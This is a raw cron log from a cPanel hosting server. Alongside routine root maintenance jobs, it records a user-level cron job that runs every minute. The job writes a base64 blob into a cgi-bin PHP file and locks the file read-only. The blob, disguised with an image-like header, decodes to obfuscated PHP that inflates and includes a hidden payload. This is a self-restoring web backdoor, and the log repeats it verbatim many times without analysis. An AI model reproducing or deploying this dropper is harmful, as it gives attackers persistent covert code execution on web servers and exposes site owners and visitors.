Sep  1 22:35:01 server CROND[13954]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 22:35:01 server CROND[13956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:36:01 server CROND[14783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:36:01 server CROND[14784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:36:01 server CROND[14785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:37:01 server CROND[15263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:37:01 server CROND[15264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:37:01 server CROND[15265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:38:02 server CROND[15641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:38:02 server CROND[15642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:38:02 server CROND[15643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:39:01 server CROND[16015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:39:01 server CROND[16016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:39:01 server CROND[16018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:39:01 server CROND[16017]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 22:40:01 server CROND[16416]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:40:01 server CROND[16418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:40:01 server CROND[16422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:40:01 server CROND[16419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:40:01 server CROND[16423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:40:02 server CROND[16424]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:40:02 server CROND[16421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:40:02 server CROND[16420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:41:01 server CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:41:01 server CROND[17247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:41:01 server CROND[17248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:42:01 server CROND[17714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:42:01 server CROND[17715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:42:01 server CROND[17716]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:42:01 server CROND[17717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:43:01 server CROND[18094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:43:01 server CROND[18096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:43:01 server CROND[18095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:44:01 server CROND[18463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:44:01 server CROND[18464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:44:01 server CROND[18466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:45:01 server CROND[18846]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:45:01 server CROND[18845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:45:01 server CROND[18847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:45:01 server CROND[18848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:45:01 server CROND[18849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:45:01 server CROND[18850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:45:01 server CROND[18851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:46:01 server CROND[19724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:46:01 server CROND[19725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:46:01 server CROND[19726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:47:01 server CROND[20190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:47:01 server CROND[20189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:47:01 server CROND[20191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:48:01 server CROND[20564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:48:01 server CROND[20565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
